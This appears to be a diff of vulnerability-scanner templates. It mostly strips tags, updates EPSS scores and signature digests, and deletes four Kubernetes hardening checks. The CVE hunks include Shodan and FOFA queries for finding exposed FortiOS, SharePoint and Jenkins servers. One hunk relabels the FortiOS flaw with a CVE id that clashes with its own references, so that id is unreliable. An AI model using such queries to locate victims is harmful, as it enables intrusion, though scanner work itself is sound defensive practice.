# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
tags: cloud,cloud-enum,azure,fuzz,enum,dns
self-contained: true
@@ -63,4 +63,4 @@ dns:
part: answer
words:
- "IN\tA"
# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,azure,discovery
tags: cloud,enum,azure
self-contained: true
@@ -34,4 +34,4 @@ http:
- 200
- 302
condition: or
# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -40,4 +40,4 @@ http:
- "status_code==302"
- contains(location, "login")
condition: and
# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: cloud,enum,cloud-enum,gcp,discovery
tags: cloud,enum,cloud-enum,gcp
self-contained: true
@@ -37,4 +37,4 @@ http:
name: "Protected GCP Bucket"
status:
- 403
# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -32,4 +32,4 @@ http:
name: "Open GCP Firebase App"
status:
- 200
# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -9,7 +9,7 @@ info:
metadata:
verified: true
max-request: 1
tags: enum,cloud,cloud-enum,gcp,discovery
tags: enum,cloud,cloud-enum,gcp
self-contained: true
@@ -48,4 +48,4 @@ http:
name: "Deactivated GCP Firebase RTDB"
status:
- 423
# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
reference:
- https://cloud.google.com/dns/docs
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
flow: |
code(1)
@@ -88,4 +88,4 @@ code:
- type: dsl
dsl:
- '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
reference:
- https://cloud.google.com/dns/docs/dnssec
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
flow: |
code(1)
@@ -69,4 +69,4 @@ code:
- type: dsl
dsl:
- '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
reference:
- https://cloud.google.com/dns/docs/dnssec-config
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
flow: |
code(1)
@@ -69,4 +69,4 @@ code:
- type: dsl
dsl:
- '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
reference:
- https://cloud.google.com/dns/docs/dnssec-configuring
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
flow: |
code(1)
@@ -71,4 +71,4 @@ code:
- type: dsl
dsl:
- '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: k8s-apiserver-anonymous-access
info:
name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
author: songyaeji
severity: high
description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
impact: |
If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
enabling unauthenticated access to cluster resources.
remediation: |
Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
and ensure "--anonymous-auth=false" is present in the apiserver arguments.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
variables:
argument: "--anonymous-auth=false"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
echo ""
matchers-condition: and
matchers:
- type: word
words:
- 'kube-apiserver'
- type: word
words:
- "{{argument}}"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
id: k8s-apiserver-token-auth-file
info:
name: Detect kube-apiserver --token-auth-file usage
author: songyaeji
severity: high
description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
impact: |
If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
remediation: |
Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
/etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
variables:
argument: "--token-auth-file"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-apiserver'
- type: word
words:
- "{{argument}}"
extractors:
- type: dsl
dsl:
- '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950
@@ -1,50 +0,0 @@
id: k8s-controller-manager-bind-address
info:
name: Ensure kube-controller-manager --bind-address is set to localhost
author: songyaeji
severity: high
description: |
Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
exposure of the control-plane component.
impact: |
If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
interact with the controller-manager API, causing potential information leakage or enabling further attacks
against the cluster.
remediation: |
Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
variables:
component: "kube-controller-manager"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-controller-manager'
- type: word
words:
- "--bind-address=127.0.0.1"
- "--bind-address=::1"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
id: k8s-scheduler-bind-address
info:
name: Ensure kube-scheduler --bind-address is set to localhost
author: songyaeji
severity: high
description: |
Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
control-plane component.
impact: |
If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
remediation: |
Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
variables:
component: "kube-scheduler"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-scheduler'
- type: word
words:
- "--bind-address=127.0.0.1"
- "--bind-address=::1"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -11,9 +11,9 @@ info:
metadata:
verified: true
classification:
epss-score: 0.94464
epss-percentile: 0.99994
tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
epss-score: 0.94436
epss-percentile: 0.99986
tags: cve,cve2014,openssl,heartbleed,code,kev
variables:
url: "{{RootURL}}"
@@ -138,4 +138,4 @@ code:
- type: dsl
dsl:
- "contains(response,'server is vulnerable')"
# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.94475
epss-percentile: 0.99998
epss-score: 0.94419
epss-percentile: 0.99979
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -27,7 +27,7 @@ info:
- product:"jenkins"
- x-jenkins
fofa-query: icon_hash=81586312
tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
tags: cve,cve2017,jenkins,rce
variables:
OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022100e1496aea12dd7d8360ca428f1b5f8aaac521642504593625cfdd6fdd50554b6302200cc16c1df502a88f9ce58860fc3a8b491e6c9a4ff33b180a61d215280b97e9b9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.94414
epss-score: 0.94411
epss-percentile: 0.99975
metadata:
verified: true
vendor: microsoft
product: sharepoint
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
tags: cve,cve2019,sharepoint,microsoft,rce,kev
variables:
OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,15 +17,15 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.86126
epss-percentile: 0.99353
epss-score: 0.84563
epss-percentile: 0.99285
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: sudo_project
product: sudo
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
self-contained: true
code:
@@ -47,4 +47,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008b128c1abf629211a165bfc17554e353451890fa9423a6396bbd0c81d901a0e802206f940480606cc839ca34dae4eef453f69a29baf7a4fa0abc330e28c1d5d7fb5d:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.93865
epss-percentile: 0.99858
epss-score: 0.93121
epss-percentile: 0.99783
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -24,7 +24,7 @@ info:
product: .net_framework
shodan-query: 'server:"ms .net remoting"'
max-request: 1
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
variables:
OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.92155
epss-percentile: 0.99693
epss-score: 0.92195
epss-percentile: 0.99704
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -24,7 +24,7 @@ info:
shodan-query: html:"Apache Tomcat"
vendor: apache
product: tomcat
tags: cve,cve2020,tomcat,websocket,dos,code,vuln
tags: cve,cve2020,tomcat,websocket,dos,code
flow: http(1) && code(1,2) && code (3)
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.92235
epss-percentile: 0.99698
epss-score: 0.92492
epss-percentile: 0.99726
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: sudo_project
product: sudo
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
self-contained: true
code:
@@ -40,4 +40,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220116acc9627f4685ad779e90097e7034e251856df89fd56d03ba53837d13f0986022100fe150737937481ab215b5d0e2137cb9276d7e005bb7e92c79ce0087766cec0f8:922c64590222798bb761d5b6d8e72950
+8 -12
View File
@@ -16,27 +16,23 @@ info:
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
classification:
epss-score: 0.94003
epss-percentile: 0.99884
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.9394
epss-percentile: 0.99871
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
cve-id: CVE-2024-42475
cwe-id: CWE-122
metadata:
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- port:10443 http.favicon.hash:945408572
- cpe:"cpe:2.3:o:fortinet:fortios"
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:"945408572"
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash="945408572"
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
flow: http () && code()
http:
@@ -197,4 +193,4 @@ code:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
# digest: 480a00453043022029dd9e06fa2d975b1faaf83d7006d7020dc94c01b8d7afa8da1ce7e726e8eb69021f33f0b758cd4c9982305f18c1e19087b601e1119d8e0c7647aa8567d6dacf9b:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.91874
epss-percentile: 0.99672
epss-score: 0.92037
epss-percentile: 0.99695
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -30,7 +30,7 @@ info:
vendor: canonical
product: ubuntu_linux
shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
self-contained: true
code:
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a0047304502205661bfabdeec84cdb0d8cd85f400fdde90013e98f28947af2016ba03a7e95e270221008b847b21e9f65244e274e61e784ce5be03d3c313f744589eca2d93de00634b6b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -16,8 +16,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.91769
epss-percentile: 0.99663
epss-score: 0.91813
epss-percentile: 0.99679
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -25,7 +25,7 @@ info:
product: abandoned_cart_lite_for_woocommerce
framework: wordpress
fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
code:
- engine:
- php
@@ -626,4 +626,4 @@ http:
- type: status
status:
- 302
# digest: 4a0a0047304502203fd36f070fb1283f5714fcdd0abf3b8f840a3a849d12a42a98aaef8a4a7b92e4022100e43e4a9d7aabf92eac650ef4ccc0165fc0c166a1f68e60690329b93738a4ba32:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c7b97b5b190f4a227f3ba95fb469d1a90fecdc553b3bc749f46048cab15369a4022029d5f8c561ddab25265e0ac4603a7d4f07207be07f6b597dffcd75e91c9e4b8a:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.86244
epss-percentile: 0.99356
epss-percentile: 0.99363
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -29,7 +29,7 @@ info:
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
tags: cve,cve2023,code,owncloud,auth-bypass
variables:
username: admin
@@ -90,4 +90,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a76555f438b008bc12ecb6024092a25b25e9a308bc3e4f3fc56bcf2c454ba81d022024edaf7f5addf5603c20a78c58b486fab09131be6ee017f678f5b626eb4c1bea:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.69791
epss-percentile: 0.98589
epss-score: 0.74116
epss-percentile: 0.98791
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
self-contained: true
code:
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 490a004630440220155082bb6a73ee722b38f8b1f4ac2aaeda267a117bfb52938ee665784a056c1502203d4e1504fa39a81de29581207a6bb7106978be9db76534a48024d146a3bfcffe:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022040a81ac2ad959d217857499ca5396b31db4906f82ffd9773e2b3e8bc9c5ec2dd02200bb9811d32aee0b5be5586f698e40c9a553cc8942a956ad6620aa1afa22b97a0:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.31786
epss-percentile: 0.96608
epss-score: 0.28497
epss-percentile: 0.96359
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
self-contained: true
code:
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
